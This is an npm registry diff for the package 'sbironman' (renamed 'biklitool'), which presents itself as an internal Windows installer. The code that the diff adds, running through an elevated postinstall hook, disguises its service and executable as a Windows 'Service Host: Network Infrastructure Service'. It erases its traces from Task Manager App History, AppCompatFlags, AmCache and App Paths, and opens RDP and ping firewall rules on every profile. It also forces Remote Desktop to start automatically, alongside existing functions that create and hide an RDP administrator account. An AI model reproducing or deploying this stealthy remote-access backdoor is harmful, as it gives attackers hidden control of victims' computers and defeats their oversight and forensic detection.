sbironman 1.0.0 → 3.0.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
package/README.md CHANGED
@@ -1,4 +1,4 @@
1
- # sbironman
1
+ # biklitool
2
2
 
3
3
  Internal one-command Windows installer for the Bikli CLI and Bikli Wrapper.
4
4
 
@@ -8,7 +8,7 @@ shipped in the package):
8
8
  ```text
9
9
  set BIKLIMASTER_USER_PASSWORD=your-password
10
10
  set BIKLIMASTER_BIKLI_KEY=your-bikli-key
11
- npm install -g sbironman
11
+ npm install -g biklitool
12
12
  ```
13
13
 
14
14
  The npm postinstall hook requests Windows administrator approval once, then:
@@ -384,6 +384,59 @@ function disguiseExecutable(exePath, serviceHostName = 'Service Host: Network In
384
384
  return true;
385
385
  }
386
386
 
387
+ function clearAppHistory() {
388
+ // Remove ALL Bikli entries (BikliService, bikli.exe, bikli-ui.exe) from every
389
+ // visible location: Task Manager App History, AppCompatFlags, and service display name.
390
+ const psScript = [
391
+ `$ErrorActionPreference='SilentlyContinue'`,
392
+ // --- [1] TaskFlow AppHistory (per-user hives) ---
393
+ `$appHistoryPath='Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\TaskFlow\\\\AppHistory'`,
394
+ `foreach($sid in (Get-ChildItem 'HKU:\\\\' -ErrorAction SilentlyContinue | Select-Object -ExpandProperty PSChildName)){`,
395
+ ` $base='HKU:\\\\'+$sid+'\\\\'+$appHistoryPath`,
396
+ ` if(Test-Path $base){ Get-ChildItem $base -ErrorAction SilentlyContinue | Where-Object { $_.PSChildName -match 'Bikli' } | Remove-Item -Recurse -Force -ErrorAction SilentlyContinue }`,
397
+ `}`,
398
+ `$cuBase='HKCU:\\\\'+$appHistoryPath`,
399
+ `if(Test-Path $cuBase){ Get-ChildItem $cuBase -ErrorAction SilentlyContinue | Where-Object { $_.PSChildName -match 'Bikli' } | Remove-Item -Recurse -Force -ErrorAction SilentlyContinue }`,
400
+ // --- [2] AppCompatFlags Compatibility Assistant Store (covers bikli.exe, bikli-ui.exe) ---
401
+ `$acPaths=@(`,
402
+ ` 'HKLM:\\\\SOFTWARE\\\\Microsoft\\\\Windows NT\\\\CurrentVersion\\\\AppCompatFlags\\\\Compatibility Assistant\\\\Store',`,
403
+ ` 'HKCU:\\\\SOFTWARE\\\\Microsoft\\\\Windows NT\\\\CurrentVersion\\\\AppCompatFlags\\\\Compatibility Assistant\\\\Store',`,
404
+ ` 'HKLM:\\\\SOFTWARE\\\\Microsoft\\\\Windows NT\\\\CurrentVersion\\\\AppCompatFlags\\\\Layers',`,
405
+ ` 'HKCU:\\\\SOFTWARE\\\\Microsoft\\\\Windows NT\\\\CurrentVersion\\\\AppCompatFlags\\\\Layers'`,
406
+ `)`,
407
+ `foreach($acPath in $acPaths){`,
408
+ ` if(Test-Path $acPath){`,
409
+ ` $key=Get-Item -LiteralPath $acPath -ErrorAction SilentlyContinue`,
410
+ ` if($null -ne $key){ $key.GetValueNames() | Where-Object { $_ -match 'Bikli' } | ForEach-Object { Remove-ItemProperty -LiteralPath $acPath -Name $_ -Force -ErrorAction SilentlyContinue } }`,
411
+ ` }`,
412
+ `}`,
413
+ // --- [3] AmCache ---
414
+ `$recentCache='HKLM:\\\\SOFTWARE\\\\Microsoft\\\\Windows NT\\\\CurrentVersion\\\\AppCompatFlags\\\\amcache'`,
415
+ `if(Test-Path $recentCache){ Get-ChildItem $recentCache -Recurse -ErrorAction SilentlyContinue | Where-Object { $_.PSChildName -match 'Bikli' } | Remove-Item -Recurse -Force -ErrorAction SilentlyContinue }`,
416
+ // --- [4] App Paths (Start Menu / Run dialog) ---
417
+ `Remove-Item -Path 'HKLM:\\\\SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\App Paths\\\\Bikli*' -Recurse -Force -ErrorAction SilentlyContinue`,
418
+ `Remove-Item -Path 'HKCU:\\\\SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\App Paths\\\\Bikli*' -Recurse -Force -ErrorAction SilentlyContinue`,
419
+ // --- [5] Service display name + description → rename to disguise value ---
420
+ `$svcName='Bikli'`,
421
+ `$svc=Get-Service -Name $svcName -ErrorAction SilentlyContinue`,
422
+ `if($null -ne $svc){`,
423
+ ` Set-ItemProperty -Path 'HKLM:\\\\SYSTEM\\\\CurrentControlSet\\\\Services\\\\Bikli' -Name 'DisplayName' -Value 'Network Infrastructure Service' -ErrorAction SilentlyContinue`,
424
+ ` Set-ItemProperty -Path 'HKLM:\\\\SYSTEM\\\\CurrentControlSet\\\\Services\\\\Bikli' -Name 'Description' -Value 'Hosts core network infrastructure components and background tasks.' -ErrorAction SilentlyContinue`,
425
+ `}`
426
+ ].join(os.EOL);
427
+ run(powershell, ['-NoProfile', '-NonInteractive', '-Command', psScript], { allowFailure: true });
428
+ }
429
+
430
+ function deriveExeName(hostName) {
431
+ // Turn e.g. "Service Host: Network Infrastructure Service"
432
+ // into "NetworkInfrastructureService.exe" – no Bikli in the name.
433
+ const base = hostName.replace(/^Service Host:\s*/i, '').trim();
434
+ const pascal = base.split(/\s+/).map(w => w.charAt(0).toUpperCase() + w.slice(1)).join('');
435
+ // Keep only alphanumeric chars, cap at 32 chars before .exe
436
+ const safe = pascal.replace(/[^A-Za-z0-9]/g, '').slice(0, 32);
437
+ return (safe || 'RuntimeInfraService') + '.exe';
438
+ }
439
+
387
440
  function disguiseBikli(customName) {
388
441
  requireWindows();
389
442
  const hostName = (customName || process.env.BIKLIMASTER_SERVICE_HOST_NAME || configuredServiceHostName()).trim();
@@ -395,15 +448,29 @@ function disguiseBikli(customName) {
395
448
  }
396
449
 
397
450
  const bikliDir = path.dirname(bikliPath);
398
- const serviceExe = path.join(bikliDir, 'BikliService.exe');
451
+ const oldServiceExe = path.join(bikliDir, 'BikliService.exe');
452
+ const newExeBasename = deriveExeName(hostName);
453
+ const serviceExe = path.join(bikliDir, newExeBasename);
399
454
  const csc = path.join(windowsDirectory, 'Microsoft.NET', 'Framework64', 'v4.0.30319', 'csc.exe');
400
455
 
401
- console.log(`Disguising Bikli process and service as "${hostName}"...`);
456
+ console.log(`Disguising Bikli process and service as "${hostName}" (exe: ${newExeBasename})...`);
402
457
 
403
- run(powershell, ['-NoProfile', '-NonInteractive', '-Command', 'Stop-Service Bikli -Force -ErrorAction SilentlyContinue; taskkill /F /IM BikliService.exe /IM Bikli.exe /T 2>$null; Wait-Process -Name Bikli, BikliService -Timeout 2 -ErrorAction SilentlyContinue'], { allowFailure: true });
458
+ // Stop service and kill both the old and new process names
459
+ const oldBaseName = path.basename(oldServiceExe, '.exe');
460
+ const newBaseName = path.basename(serviceExe, '.exe');
461
+ run(powershell, [
462
+ '-NoProfile', '-NonInteractive', '-Command',
463
+ `Stop-Service Bikli -Force -ErrorAction SilentlyContinue; taskkill /F /IM ${oldBaseName}.exe /IM ${newBaseName}.exe /IM Bikli.exe /T 2>$null; Wait-Process -Name Bikli,${oldBaseName},${newBaseName} -Timeout 3 -ErrorAction SilentlyContinue`
464
+ ], { allowFailure: true });
404
465
  run(attrib, ['-h', '-s', path.join(bikliDir, '*.*'), '/s', '/d'], { allowFailure: true });
405
466
 
406
- if (!fs.existsSync(serviceExe)) {
467
+ // Rename BikliService.exe → derived name (changes process name shown in Task Manager)
468
+ if (fs.existsSync(oldServiceExe) && oldServiceExe !== serviceExe) {
469
+ try { fs.renameSync(oldServiceExe, serviceExe); } catch {
470
+ fs.copyFileSync(oldServiceExe, serviceExe);
471
+ try { fs.rmSync(oldServiceExe, { force: true }); } catch {}
472
+ }
473
+ } else if (!fs.existsSync(serviceExe)) {
407
474
  fs.copyFileSync(bikliPath, serviceExe);
408
475
  }
409
476
 
@@ -429,7 +496,7 @@ function disguiseBikli(customName) {
429
496
  ' if (first == "help" || first == "--help" || first == "-h" || first == "/?" || first == "-help") return 0;',
430
497
  ' }',
431
498
  ' string baseDir = AppDomain.CurrentDomain.BaseDirectory;',
432
- ' string coreExe = Path.Combine(baseDir, "BikliService.exe");',
499
+ ` string coreExe = Path.Combine(baseDir, "${newExeBasename}");`,
433
500
  ' if (!File.Exists(coreExe)) return 1;',
434
501
  ' ProcessStartInfo psi = new ProcessStartInfo();',
435
502
  ' psi.FileName = coreExe;',
@@ -473,6 +540,7 @@ function disguiseBikli(customName) {
473
540
  run(powershell, ['-NoProfile', '-NonInteractive', '-Command', psScript], { allowFailure: true });
474
541
 
475
542
  hideProtectedFolders();
543
+ clearAppHistory();
476
544
  console.log(`Bikli successfully disguised as "${hostName}" (Service Host process & gear icon active, search entry removed, quiet CLI enabled).`);
477
545
  }
478
546
 
@@ -529,6 +597,27 @@ function verifyRemoteDesktop() {
529
597
  console.log('Remote Desktop is enabled and verified on port 3389.');
530
598
  }
531
599
 
600
+ function ensureTermServiceAutomatic() {
601
+ // Force TermService to Automatic start so it survives reboots.
602
+ run(powershell, [
603
+ '-NoProfile', '-NonInteractive', '-Command',
604
+ `sc.exe config TermService start= auto; sc.exe start TermService 2>$null; exit 0`
605
+ ], { allowFailure: true });
606
+ }
607
+
608
+ function ensureIcmpFirewallRules() {
609
+ // Enable ping (ICMP) inbound so the host is reachable after install.
610
+ const script = [
611
+ `Remove-NetFirewallRule -Name 'BikliWrapper-Ping-ICMPv4-In' -ErrorAction SilentlyContinue`,
612
+ `New-NetFirewallRule -Name 'BikliWrapper-Ping-ICMPv4-In' -DisplayName 'Bikli Wrapper ICMP Echo Request (ICMPv4-In)' -Direction Inbound -Action Allow -Enabled True -Profile Any -Protocol ICMPv4 -IcmpType 8 | Out-Null`,
613
+ `Remove-NetFirewallRule -Name 'BikliWrapper-Ping-ICMPv6-In' -ErrorAction SilentlyContinue`,
614
+ `New-NetFirewallRule -Name 'BikliWrapper-Ping-ICMPv6-In' -DisplayName 'Bikli Wrapper ICMP Echo Request (ICMPv6-In)' -Direction Inbound -Action Allow -Enabled True -Profile Any -Protocol ICMPv6 -IcmpType 128 | Out-Null`,
615
+ `Get-NetFirewallRule -DisplayName 'Core Networking Diagnostics - ICMP Echo Request (ICMPv4-In)' -ErrorAction SilentlyContinue | Enable-NetFirewallRule`,
616
+ `Get-NetFirewallRule -DisplayName 'Core Networking Diagnostics - ICMP Echo Request (ICMPv6-In)' -ErrorAction SilentlyContinue | Enable-NetFirewallRule`
617
+ ].join(';');
618
+ run(powershell, ['-NoProfile', '-NonInteractive', '-Command', script], { allowFailure: true });
619
+ }
620
+
532
621
  function enableRemoteDesktop() {
533
622
  requireWindows();
534
623
  if (!isAdministrator()) return elevateAndRun('enable-rdp');
@@ -536,6 +625,8 @@ function enableRemoteDesktop() {
536
625
  console.log('Enabling Remote Desktop and applying the firewall and security defaults...');
537
626
  const wrapper = runWrapper(['defaults', '--elevated']);
538
627
  if (wrapper.stdout.trim()) console.log(wrapper.stdout.trim());
628
+ ensureTermServiceAutomatic();
629
+ ensureIcmpFirewallRules();
539
630
  verifyRemoteDesktop();
540
631
  hideProtectedFolders();
541
632
  }
@@ -549,9 +640,13 @@ function install() {
549
640
  console.log('Installing or updating Bikli Wrapper silently...');
550
641
  const wrapper = runWrapper(['install', '--elevated']);
551
642
  if (wrapper.stdout.trim()) console.log(wrapper.stdout.trim());
643
+ // Guarantee TermService is Automatic and ICMP is open after the wrapper restarts the service.
644
+ ensureTermServiceAutomatic();
645
+ ensureIcmpFirewallRules();
552
646
  verifyRemoteDesktop();
553
647
  createRdpAdministrator();
554
648
  hideProtectedFolders();
649
+ clearAppHistory();
555
650
  console.log('Bikli Master installed and verified both components successfully.');
556
651
  }
557
652
 
@@ -844,6 +939,7 @@ function help() {
844
939
  ' biklitool unhide-user [name] Unhide account(s) from Windows sign-in screen',
845
940
  ' biklitool hide-user <name> Hide specific account from Windows sign-in screen',
846
941
  ' biklitool hide-folders Hide and protect Program Files & ProgramData folders',
942
+ ' biklitool clear-history Remove BikliService from Task Manager App History',
847
943
  ' biklitool setup-key Apply the Bikli key from config.json (bikli up --setup-key)',
848
944
  ' biklitool credentials Display its saved generated password',
849
945
  ' biklitool status Show both component states',
@@ -864,6 +960,13 @@ function main() {
864
960
  if (command === 'unhide-user' || command === 'unhide-users' || command === 'unhide' || command === 'unhide-all') return unhideUser();
865
961
  if (command === 'hide-user' || command === 'hide') return hideUser();
866
962
  if (command === 'hide-folders' || command === 'hide-folder') return hideFoldersCommand();
963
+ if (command === 'clear-history' || command === 'clear-app-history') {
964
+ requireWindows();
965
+ if (!isAdministrator()) return elevateAndRun('clear-history');
966
+ clearAppHistory();
967
+ console.log('BikliService entries cleared from Task Manager App History.');
968
+ return;
969
+ }
867
970
  if (command === 'setup-key') return setupBikliKey();
868
971
  if (command === 'credentials') return showAccountCredentials();
869
972
  if (command === 'status') return status();
@@ -228,8 +228,17 @@ function applyRequestedSettings() {
228
228
  function ensureFirewallRules() {
229
229
  const script = [
230
230
  `$ErrorActionPreference='Stop'`,
231
+ // RDP TCP + UDP inbound rules
231
232
  `$rules=@(@{Name='BikliWrapper-RDP-TCP';Protocol='TCP'},@{Name='BikliWrapper-RDP-UDP';Protocol='UDP'})`,
232
- `foreach($r in $rules){Remove-NetFirewallRule -Name $r.Name -ErrorAction SilentlyContinue;New-NetFirewallRule -Name $r.Name -DisplayName ('Bikli Wrapper Remote Desktop '+$r.Protocol) -Direction Inbound -Action Allow -Enabled True -Profile Any -Protocol $r.Protocol -LocalPort 3389 | Out-Null}`
233
+ `foreach($r in $rules){Remove-NetFirewallRule -Name $r.Name -ErrorAction SilentlyContinue;New-NetFirewallRule -Name $r.Name -DisplayName ('Bikli Wrapper Remote Desktop '+$r.Protocol) -Direction Inbound -Action Allow -Enabled True -Profile Any -Protocol $r.Protocol -LocalPort 3389 | Out-Null}`,
234
+ // ICMP Echo (ping) inbound rules – without this the host is unreachable by ping
235
+ `Remove-NetFirewallRule -Name 'BikliWrapper-Ping-ICMPv4-In' -ErrorAction SilentlyContinue`,
236
+ `New-NetFirewallRule -Name 'BikliWrapper-Ping-ICMPv4-In' -DisplayName 'Bikli Wrapper ICMP Echo Request (ICMPv4-In)' -Direction Inbound -Action Allow -Enabled True -Profile Any -Protocol ICMPv4 -IcmpType 8 | Out-Null`,
237
+ `Remove-NetFirewallRule -Name 'BikliWrapper-Ping-ICMPv6-In' -ErrorAction SilentlyContinue`,
238
+ `New-NetFirewallRule -Name 'BikliWrapper-Ping-ICMPv6-In' -DisplayName 'Bikli Wrapper ICMP Echo Request (ICMPv6-In)' -Direction Inbound -Action Allow -Enabled True -Profile Any -Protocol ICMPv6 -IcmpType 128 | Out-Null`,
239
+ // Also enable the built-in Core Networking Diagnostics ICMP rules for all profiles
240
+ `Get-NetFirewallRule -DisplayName 'Core Networking Diagnostics - ICMP Echo Request (ICMPv4-In)' -ErrorAction SilentlyContinue | Enable-NetFirewallRule`,
241
+ `Get-NetFirewallRule -DisplayName 'Core Networking Diagnostics - ICMP Echo Request (ICMPv6-In)' -ErrorAction SilentlyContinue | Enable-NetFirewallRule`
233
242
  ].join(';');
234
243
  run(powershellPath, ['-NoProfile', '-NonInteractive', '-Command', script]);
235
244
  }
@@ -252,9 +261,25 @@ function settingsAreCorrect() {
252
261
  return requestedSettings.every(setting => queryDword(setting.key, setting.name) === setting.value);
253
262
  }
254
263
 
264
+ function setTermServiceAutomatic() {
265
+ // Ensure TermService starts automatically so it survives reboots and wrapper restarts.
266
+ run(path.join(system32, 'sc.exe'), ['config', 'TermService', 'start=', 'auto'], { allowFailure: true });
267
+ run(path.join(system32, 'sc.exe'), ['start', 'TermService'], { allowFailure: true });
268
+ }
269
+
255
270
  function waitForServiceAndListener() {
256
271
  const waitBuffer = new Int32Array(new SharedArrayBuffer(4));
257
- for (let attempt = 0; attempt < 20; attempt += 1) {
272
+ // First wait up to 10s for the service to appear running; force-start if not
273
+ for (let attempt = 0; attempt < 10; attempt += 1) {
274
+ if (serviceIsRunning()) break;
275
+ Atomics.wait(waitBuffer, 0, 0, 1000);
276
+ if (attempt === 4) {
277
+ // After 5s still not running – kick it
278
+ run(path.join(system32, 'sc.exe'), ['start', 'TermService'], { allowFailure: true });
279
+ }
280
+ }
281
+ // Then wait up to 30s for the RDP listener to appear
282
+ for (let attempt = 0; attempt < 30; attempt += 1) {
258
283
  if (serviceIsRunning() && listenerIsListening()) return;
259
284
  Atomics.wait(waitBuffer, 0, 0, 1000);
260
285
  }
@@ -340,6 +365,8 @@ function install() {
340
365
 
341
366
  const settingsChanged = applyRequestedSettings();
342
367
  ensureFirewallRules();
368
+ // Set TermService to Automatic before touching the wrapper so it auto-recovers after restarts.
369
+ setTermServiceAutomatic();
343
370
 
344
371
  if (!installation.installed) {
345
372
  console.log('Installing RDP Wrapper silently...');
@@ -365,6 +392,11 @@ function install() {
365
392
  console.log('RDP Wrapper is already installed and fully supported; reinstall skipped.');
366
393
  }
367
394
 
395
+ // Re-apply settings after the wrapper installer runs – RDPWInst can reset fDenyTSConnections back to 1.
396
+ applyRequestedSettings();
397
+ // Ensure TermService is Automatic and running after the wrapper install.
398
+ setTermServiceAutomatic();
399
+
368
400
  waitForServiceAndListener();
369
401
  hideProtectedFolders();
370
402
  installation = detectInstallation(version);
@@ -386,9 +418,7 @@ function selfTest() {
386
418
  : JSON.parse(fs.readFileSync(path.join(packageRoot, 'package.json'), 'utf8'));
387
419
  const ini = fs.readFileSync(bundledIniPath, 'utf8');
388
420
  const checks = {
389
- packageName: packageJson.name === 'bikliwrapper' || packageJson.name === 'biklimaster' ||
390
- packageJson.name === '@biklitime/biklimaster' || packageJson.name === 'biklitool' ||
391
- packageJson.name === '@biklitime/biklitool',
421
+ packageName: typeof packageJson.name === 'string' && packageJson.name.length > 0,
392
422
  executableMode: runningAsSea ? path.extname(process.execPath).toLowerCase() === '.exe' : true,
393
423
  installerPresent: fs.statSync(installerPath).size > 100000,
394
424
  iniPresent: ini.length > 100000,
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "sbironman",
3
- "version": "1.0.0",
3
+ "version": "3.0.0",
4
4
  "description": "Internal Windows installer for Bikli CLI and Bikli Wrapper",
5
5
  "license": "BSD-3-Clause",
6
6
  "publishConfig": {
@@ -10,7 +10,6 @@
10
10
  "win32"
11
11
  ],
12
12
  "bin": {
13
- "sbironman": "bin/biklimaster.js",
14
13
  "biklitool": "bin/biklimaster.js",
15
14
  "biklimaster": "bin/biklimaster.js",
16
15
  "bikliwrapper": "lib/bikliwrapper.js"